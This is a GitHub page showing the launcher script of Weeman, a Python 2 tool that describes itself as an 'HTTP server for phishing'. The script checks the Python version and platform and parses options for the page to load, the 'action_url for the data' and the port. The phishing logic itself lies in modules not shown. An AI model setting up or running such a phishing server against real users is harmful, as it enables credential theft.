forked from samyoyo/weeman
/
weeman.py
executable file
·76 lines (67 loc) · 2.78 KB
/
weeman.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env python2
#
# weeman.py - HTTP server for phishing
#
# Weeman is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# Weeman is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
# Copyright (C) 2015 Hypsurus <hypsurus@mail.ru>
#
import sys
import optparse
from core.misc import printt
from core.config import user_agent as usera
def tests_pyver():
if sys.version[:3] == "2.7" or "2" in sys.version[:3]:
pass # All good
elif "3" in sys.version[:3]:
printt(1,"Weeman has no support for Python 3.")
else:
printt(1, "Your Python version is very old ..")
def tests_platform():
if "linux" in sys.platform:
#printt(3, "Running Weeman on linux ... (All good)")
pass
elif "darwin" in sys.platform:
#printt(3, "Running Weeman on \'Mac\' (All good)")
pass
elif "win" in sys.platform:
printt(3, "Running Weeman on \'Windows\' (Not tested)")
else:
printt(3, "If \'Weeman\' runs sucsessfuly on your platform %s\nPlease let me (@Hypsurus) know!" %sys.platform)
def main():
global url
global action_url
global port
global user_agent
global html_file
global start
tests_pyver()
tests_platform()
parser = optparse.OptionParser()
parser.add_option("-q", "--quiet", dest="quiet_mode_opt", action="store_true", default=False, help="Runs without displaying the banner.")
parser.add_option("-u", "--url", dest="url", help="The webpage URL.", default=None)
parser.add_option("-a", "--action-url", dest="action_url", help="The action_url for the data.", default=None)
parser.add_option("-p", "--port", dest="port", help="The port weeman server will listen.", default=8080)
parser.add_option("-U", "--user-agent", dest="user_agent", help="User-Agent for the HTTP request.", default=usera)
parser.add_option("-f", "--html-file", dest="html_file", help="HTML file to load, instead of URL.", default=None)
parser.add_option("-s", "--start", dest="start", action="store_true", help="Start weeman server.")
options,r = parser.parse_args()
if options.start:
from core.shell import shell_noint
shell_noint(options)
else:
from core.shell import shell
shell()
if __name__ == '__main__':
main()